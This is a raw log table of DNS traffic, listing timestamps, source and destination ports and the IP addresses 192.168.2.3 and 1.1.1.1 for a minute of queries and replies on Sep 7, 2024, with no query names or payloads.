Sep 7, 2024 15:34:35.937606096 CEST	53	62823	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:35.940381050 CEST	59858	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:36.175004959 CEST	53	59858	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:36.289177895 CEST	60349	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:36.298347950 CEST	53	60349	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:36.300821066 CEST	58264	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:36.497082949 CEST	53	58264	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:36.601778984 CEST	53739	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:36.612369061 CEST	53	53739	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:37.836195946 CEST	60288	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:38.075436115 CEST	53	60288	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:38.078674078 CEST	60556	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:38.179972887 CEST	53	60556	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:38.289431095 CEST	51806	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:38.309089899 CEST	53	51806	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:39.414266109 CEST	49280	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:39.434180021 CEST	53	49280	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:40.539323092 CEST	62207	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:40.548949003 CEST	53	62207	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:41.696742058 CEST	55680	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:41.794745922 CEST	53	55680	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:41.797785997 CEST	58297	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:42.040199041 CEST	53	58297	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:42.148536921 CEST	62234	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:42.662003994 CEST	53	62234	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:42.665524960 CEST	58314	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:42.776115894 CEST	53	58314	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:42.882994890 CEST	64610	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:43.051779985 CEST	53	64610	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:43.054877996 CEST	53179	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:43.223047972 CEST	53	53179	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:43.336468935 CEST	53284	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:43.348989010 CEST	53	53284	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:43.351346970 CEST	59847	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:43.360789061 CEST	53	59847	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:43.477646112 CEST	55653	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:43.501523018 CEST	53	55653	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:43.504169941 CEST	60669	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:43.637588024 CEST	53	60669	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:43.742413044 CEST	58097	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:43.752202034 CEST	53	58097	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:44.883780956 CEST	50589	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:45.099581003 CEST	53	50589	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:45.104566097 CEST	56272	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:45.276434898 CEST	53	56272	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:45.398727894 CEST	50654	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:45.671379089 CEST	53	50654	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:45.673911095 CEST	51576	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:45.690308094 CEST	53	51576	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:45.805222988 CEST	64870	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:45.814261913 CEST	53	64870	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:46.929852009 CEST	62856	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:46.942770958 CEST	53	62856	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:48.086056948 CEST	52732	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:48.344849110 CEST	53	52732	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:48.347778082 CEST	62631	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:48.358421087 CEST	53	62631	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:48.461164951 CEST	57295	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:48.471057892 CEST	53	57295	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:48.473552942 CEST	64858	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:48.490056992 CEST	53	64858	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:48.601716995 CEST	49297	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:48.638489008 CEST	53	49297	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:48.640876055 CEST	50558	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:48.913805008 CEST	53	50558	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:49.033420086 CEST	59579	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:49.044142962 CEST	53	59579	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:49.066097975 CEST	61899	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:49.235616922 CEST	53	61899	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:49.351706982 CEST	58743	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:49.364825964 CEST	53	58743	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:50.476728916 CEST	53002	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:50.646037102 CEST	53	53002	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:50.648726940 CEST	55630	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:50.820564985 CEST	53	55630	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:50.929816008 CEST	49724	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:50.940427065 CEST	53	49724	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:52.273679018 CEST	57688	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:52.374962091 CEST	53	57688	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:52.380508900 CEST	63448	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:52.475307941 CEST	53	63448	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:52.586317062 CEST	60865	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:52.755342007 CEST	53	60865	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:52.757949114 CEST	65268	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:52.923769951 CEST	53	65268	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:53.039171934 CEST	55071	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:53.071719885 CEST	53	55071	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:53.074223995 CEST	51213	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:53.107914925 CEST	53	51213	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:53.212034941 CEST	62093	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:53.384504080 CEST	53	62093	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:53.387341022 CEST	64080	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:53.613701105 CEST	53	64080	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:53.726723909 CEST	59273	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:54.596755028 CEST	53	59273	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:54.599335909 CEST	54182	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:54.841115952 CEST	53	54182	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:54.945422888 CEST	51431	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:54.962430000 CEST	53	51431	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:54.966625929 CEST	57825	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:55.296880007 CEST	53	57825	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:55.399301052 CEST	54491	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:55.674129009 CEST	53	54491	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:55.680939913 CEST	52777	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:55.691339016 CEST	53	52777	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:55.804838896 CEST	56332	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:55.821253061 CEST	53	56332	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:56.977008104 CEST	59443	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:56.989911079 CEST	53	59443	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:58.102559090 CEST	61962	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:58.340895891 CEST	53	61962	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:58.353182077 CEST	62716	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:58.589837074 CEST	53	62716	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:58.695441008 CEST	65146	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:58.705534935 CEST	53	65146	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:59.836014986 CEST	64292	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:59.882282972 CEST	53	64292	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:01.054852962 CEST	63202	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:01.251871109 CEST	53	63202	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:01.266433001 CEST	58358	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:01.519118071 CEST	53	58358	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:01.633197069 CEST	51404	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:01.642635107 CEST	53	51404	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:02.867140055 CEST	53922	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:03.034349918 CEST	53	53922	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:03.056787014 CEST	51359	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:03.224302053 CEST	53	51359	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:03.336199999 CEST	52748	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:03.513156891 CEST	53	52748	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:03.517728090 CEST	52607	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:03.677989960 CEST	53	52607	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:03.790551901 CEST	64848	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:03.839628935 CEST	53	64848	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:03.842611074 CEST	62373	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:03.899019003 CEST	53	62373	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:04.008194923 CEST	50130	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:04.285537958 CEST	53	50130	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:04.291136026 CEST	51157	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:04.547012091 CEST	53	51157	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:04.648567915 CEST	57457	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:04.684475899 CEST	53	57457	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:04.686811924 CEST	58554	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:04.717961073 CEST	53	58554	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:04.824429035 CEST	50686	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:04.872669935 CEST	53	50686	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:04.880748987 CEST	60198	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:04.917658091 CEST	53	60198	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:05.033940077 CEST	58340	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:05.101944923 CEST	53	58340	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:05.104228020 CEST	53929	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:05.139265060 CEST	53	53929	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:05.263096094 CEST	53266	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:05.293636084 CEST	53	53266	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:05.296425104 CEST	49273	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:05.565269947 CEST	53	49273	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:05.680516958 CEST	60635	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:05.945374012 CEST	53	60635	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:05.947834015 CEST	61174	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:06.110304117 CEST	53	61174	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:06.228741884 CEST	61757	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:06.676088095 CEST	53	61757	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:06.678816080 CEST	57228	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:07.254230022 CEST	53	57228	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:07.367291927 CEST	51081	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:07.399422884 CEST	53	51081	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:08.539671898 CEST	53184	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:08.623343945 CEST	53	53184	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:08.652331114 CEST	57939	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:08.724963903 CEST	53	57939	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:08.837205887 CEST	54900	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:08.846431971 CEST	53	54900	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:08.852313995 CEST	55981	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:08.861082077 CEST	53	55981	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:08.980437040 CEST	49644	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:09.000066042 CEST	53	49644	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:10.211081982 CEST	61834	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:10.313062906 CEST	53	61834	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:10.325246096 CEST	56573	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:10.420491934 CEST	53	56573	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:10.524601936 CEST	56704	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:10.692528963 CEST	53	56704	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:10.707549095 CEST	61724	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:10.980252981 CEST	53	61724	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:11.100004911 CEST	60554	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:11.109220982 CEST	53	60554	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:12.463551044 CEST	58870	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:13.459064007 CEST	53	58870	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:13.472991943 CEST	60768	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:13.508548021 CEST	53	60768	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:13.621117115 CEST	51678	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:13.656769991 CEST	53	51678	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:13.681674004 CEST	54498	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:13.716592073 CEST	53	54498	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:13.820326090 CEST	64853	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:14.071821928 CEST	53	64853	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:14.074525118 CEST	51570	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:14.250524044 CEST	53	51570	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:14.367537022 CEST	61505	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:14.376339912 CEST	53	61505	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:15.493788958 CEST	55543	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:15.503292084 CEST	53	55543	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:16.649910927 CEST	53084	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:16.658691883 CEST	53	53084	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:16.670865059 CEST	53101	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:16.680699110 CEST	53	53101	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:16.789272070 CEST	49813	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:16.798542023 CEST	53	49813	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:17.929928064 CEST	65265	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:17.949479103 CEST	53	65265	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:19.117528915 CEST	57021	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:19.128149986 CEST	53	57021	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:19.146959066 CEST	61547	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:19.719667912 CEST	53	61547	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:19.835948944 CEST	63531	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:20.177061081 CEST	53	63531	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:20.180841923 CEST	56188	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:20.190715075 CEST	53	56188	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:20.305366993 CEST	57080	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:20.337760925 CEST	53	57080	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:20.345472097 CEST	56323	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:20.354737997 CEST	53	56323	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:20.464687109 CEST	54370	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:20.647357941 CEST	53	54370	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:20.651670933 CEST	52105	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:20.828151941 CEST	53	52105	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:20.945980072 CEST	57435	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:21.224745989 CEST	53	57435	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:21.228688002 CEST	55777	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:21.238529921 CEST	53	55777	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:21.352878094 CEST	58158	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:21.389877081 CEST	53	58158	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:21.392052889 CEST	56341	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:21.411303043 CEST	53	56341	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:21.523459911 CEST	65296	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:22.539344072 CEST	65296	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:22.553004980 CEST	53	65296	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:22.553016901 CEST	53	65296	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:22.573402882 CEST	49430	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:22.639956951 CEST	53	49430	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:22.742230892 CEST	61690	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:22.941900969 CEST	53	61690	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:22.944164991 CEST	61837	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:22.954226017 CEST	53	61837	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:24.586899996 CEST	64294	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:24.752096891 CEST	53	64294	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:24.756530046 CEST	57277	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:24.941601038 CEST	53	57277	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:25.054883957 CEST	49214	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:25.064930916 CEST	53	49214	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:25.067303896 CEST	57283	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:25.076303959 CEST	53	57283	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:25.180449009 CEST	50393	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:25.374572039 CEST	53	50393	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:25.377437115 CEST	65157	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:25.546499014 CEST	53	65157	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:25.664405107 CEST	50108	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:25.674365044 CEST	53	50108	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:26.872709990 CEST	63788	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:26.886688948 CEST	53	63788	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:26.973640919 CEST	50187	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:27.296308041 CEST	53	50187	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:27.398929119 CEST	59330	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:27.433912039 CEST	53	59330	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:27.436475992 CEST	64194	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:27.444338083 CEST	53	64194	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:27.556766987 CEST	59889	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:27.629060984 CEST	53	59889	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:27.632170916 CEST	51474	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:27.702889919 CEST	53	51474	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:27.820414066 CEST	62580	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:28.134618998 CEST	53	62580	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:28.137304068 CEST	56389	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:28.144972086 CEST	53	56389	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:28.268042088 CEST	51731	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:28.282422066 CEST	53	51731	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:29.445657969 CEST	51710	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:29.457884073 CEST	53	51710	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:29.500750065 CEST	51203	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:29.508593082 CEST	53	51203	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:29.618861914 CEST	58765	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:29.716881037 CEST	53	58765	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:29.719528913 CEST	61475	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:30.556251049 CEST	53	61475	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:30.664086103 CEST	56124	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:31.070497990 CEST	53	56124	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:31.077133894 CEST	54536	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:31.238676071 CEST	53	54536	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:31.351939917 CEST	52300	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:31.523809910 CEST	53	52300	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:31.529047966 CEST	62892	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:31.879884958 CEST	53	62892	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:31.992810965 CEST	59216	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:32.014355898 CEST	53	59216	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:33.149463892 CEST	52834	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:33.409182072 CEST	53	52834	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:33.426098108 CEST	58450	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:33.585174084 CEST	53	58450	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:33.699814081 CEST	50817	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:33.709427118 CEST	53	50817	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:33.715578079 CEST	56638	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:33.743480921 CEST	53	56638	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:33.867356062 CEST	63392	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:34.031811953 CEST	53	63392	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:34.034084082 CEST	64509	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:34.211724997 CEST	53	64509	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:34.320641994 CEST	51068	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:34.659285069 CEST	53	51068	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:34.662909031 CEST	54676	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:34.824040890 CEST	53	54676	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:34.945815086 CEST	53426	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:34.980931044 CEST	53	53426	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:34.983177900 CEST	50487	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:34.990303040 CEST	53	50487	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:35.129496098 CEST	53787	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:35.140320063 CEST	53	53787	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:36.289119005 CEST	51741	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:36.298928022 CEST	53	51741	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:36.301255941 CEST	54268	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:36.310324907 CEST	53	54268	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:36.414067984 CEST	57233	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:36.579763889 CEST	53	57233	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:36.611274958 CEST	56222	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:36.793348074 CEST	53	56222	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:36.930227995 CEST	61735	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:37.192238092 CEST	53	61735	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:37.197684050 CEST	55441	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:37.234340906 CEST	53	55441	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:37.351958036 CEST	49738	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:37.520387888 CEST	53	49738	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:37.522866011 CEST	53556	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:37.690376997 CEST	53	53556	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:37.805058956 CEST	51303	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:37.816030025 CEST	53	51303	1.1.1.1	192.168.2.3
